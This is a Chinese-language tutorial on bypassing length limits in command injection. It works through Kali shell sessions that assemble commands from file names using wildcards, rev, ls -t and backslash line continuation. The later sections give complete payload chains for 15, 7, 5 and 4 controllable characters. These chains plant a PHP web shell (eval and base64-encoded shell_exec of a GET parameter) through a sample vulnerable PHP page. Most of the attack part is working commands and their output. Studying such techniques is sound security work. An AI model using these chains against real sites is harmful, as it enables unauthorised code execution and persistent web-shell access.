命令注入长度限制绕过
目录0x1 命令组装
1.1 字符默认顺序组装
e
的顺序正好在h
之前
分别输入>echo >hello
,可以看到分别创建了两个文件 echo
和 hello
,然后执行 *
,结果输出了 hello
┌──(kali㉿kali)-[~/cmd]
└─$ >echo
┌──(kali㉿kali)-[~/cmd]
└─$ >hello
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 4
-rw-r--r-- 1 kali kali 0 Nov 5 22:01 echo
-rw-r--r-- 1 kali kali 1 Nov 5 22:01 hello
┌──(kali㉿kali)-[~/cmd]
└─$ *
hello
*
此时等于echo hello
,我们可以通过echo
来查看*
到底是啥
┌──(kali㉿kali)-[~/cmd]
└─$ echo *
echo hello
- 这样,我们通过
>echo >hello
完成命令组装,然后*
组成并执行了命令echo hello
.
1.2 反转命令
同样把命令长度限制到 4
, 如何执行命令 ls -l
模仿上面做法,输入>ls
和 >-l
产生了两个文件 ls -l
┌──(kali㉿kali)-[~/cmd]
└─$ >-l
┌──(kali㉿kali)-[~/cmd]
└─$ >ls
┌──(kali㉿kali)-[~/cmd]
└─$ *
-l: command not found
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Nov 5 22:21 -l
-rw-r--r-- 1 kali kali 0 Nov 5 22:22 ls
-l
在ls
前面,如果我们执行*
其实是执行-l ls
,会出现错误- 这个命令字符序列反过来看
l- sl
顺序正好满足要求,只需要用一个可以把字符反过来的命令,就可以完成这个功能
先生成 l-
和 sl
两个命令
┌──(kali㉿kali)-[~/cmd]
└─$ >l-
┌──(kali㉿kali)-[~/cmd]
└─$ >sl
┌──(kali㉿kali)-[~/cmd]
└─$ ls
l- sl
将 l- sl
组合写入文件 v
(为什么文件名要用 v
,下面会解释,是个 trick
),最后用一个命令将文件中的字节反转
┌──(kali㉿kali)-[~/cmd]
└─$ ls>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l-
sl
v
可以看到文件 v
中多了一个 v
,对我们命令造成干扰,我们只想文件中存在 l-
和 sl
解决思路:dir a b>c
只会将 a b
写到文件 c
中,我们创建一个名为 dir
的文件,然后执行*>v
,可以获得 l-
和 ls
┌──(kali㉿kali)-[~/cmd]
└─$ >dir
┌──(kali㉿kali)-[~/cmd]
└─$ *>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l- sl
1.3 反序
linux
有一个 rev
命令,正好可以将内容反序,我们产生一个名为 rev
的文件,然后执行 *v
,此时命令相当于 rev v
(这里就是上面为啥文件命名为 v
,为了被通配符匹配),这样就产生了我们要的输出 ls -l
┌──(kali㉿kali)-[~/cmd]
└─$ >rev
┌──(kali㉿kali)-[~/cmd]
└─$ ls
dir l- rev sl v
┌──(kali㉿kali)-[~/cmd]
└─$ *v
ls -l
输出到文件 x
,然后就可以执行 sh x
,成功以 4
个字符执行长度为 5
的 ls -l
命令
┌──(kali㉿kali)-[~/cmd]
└─$ *v>x
┌──(kali㉿kali)-[~/cmd]
└─$ cat x
ls -l
┌──(kali㉿kali)-[~/cmd]
└─$ sh x
total 8
-rw-r--r-- 1 kali kali 0 Nov 5 22:55 dir
-rw-r--r-- 1 kali kali 0 Nov 5 22:39 l-
-rw-r--r-- 1 kali kali 0 Nov 5 22:56 rev
-rw-r--r-- 1 kali kali 0 Nov 5 22:40 sl
-rw-r--r-- 1 kali kali 7 Nov 5 22:55 v
-rw-r--r-- 1 kali kali 7 Nov 5 22:58 x
整个命令链(长度<=4
)
1.4 自由控制顺序组装
假设我们要生成 ls -t >g
,其实 ls -t
也就是根据 mtime
排序,新的在前面,比如我们要生成 ls -l
,可以通过 ls -t
打破默认顺序
1.5 命令续行
linux 的命令续行,比如 l\ s
分成两行,等于 ls
。
\>py\\
这里看着是 5
个字符,超过了 4
个的限制,实际上是因为 shell
环境需要输入\\
产生 \
,但是 php
代码 exec
时,只需要输入 \
即可产生 \
,比如 exec(">py\")
即可。
这上面的所以 payload
均在 linux
终端 shell
里面进行操作,因此需要 \
的地方都进行了再加 \
转义,也就变成了 \\
,如果在命令注入函数里面输入时,\
不需要用 \
转义。
0x2 15位可控字符下的任意命令执行
如需执行 echo \<?php eval($_GET[1]);?\>>1
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1
0x3 7位可控字符下的任意命令执行
1>a
或者w>b
分别可以创建a
和b
两个空文件夹。ls>c
会将目录下面的文件名写入到c
文件中;ls -t>0
会将文件名按照创建的时间倒叙写入0
文件中。并且自动换行。\
作为转义符,转义之后的\
是用来换行分隔,也就是换行也是连接的。
ca\
t
这就代表cat
例如代码如下:
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
假设要写出一句话 php payload
: <?php echo shell_exec($_GET[2]);
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzJdKTs= | base64 -d >1.php
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>=\|\\
w>KTs\\
w>zJd\\
w>VUW\\
w>fR0\\
w>KCR\\
w>GVj\\
w>9le\\
w>sbF\\
w>aGV\\
w>yBz\\
w>Nob\\
w>gZW\\
w>aHA\\
w>D9w\\
w>P\\
w>o\ \\
w>ech\\
ls -t>0
sh 0
倒叙新建文件名,然后通过 ls -t>0
,将刚才的顺序再倒序然后写入到 0
文件中,然后用 sh
将 0
当作脚本执行。
0x4 5位可控字符下的任意命令执行
ls -t>0
超过了 5
位
>ls\\
ls>a
>\ \\
>-t\\
>\>0
ls>>a
这就将 ls -t>0
写在了 a
脚本中,如果要用的话直接 sh a
,之后写入自己的命令按照 7
位的逻辑写就行了。
0x5 4位可控字符下的任意命令执行
ls -th>f
超过了 4
位
>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0
cat 0
这就将 ls -th>f
写入到了脚本 0
当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用 sh 0
执行 ls -th>f
,然后将命令写入了 f
脚本中,执行 sh f
即可。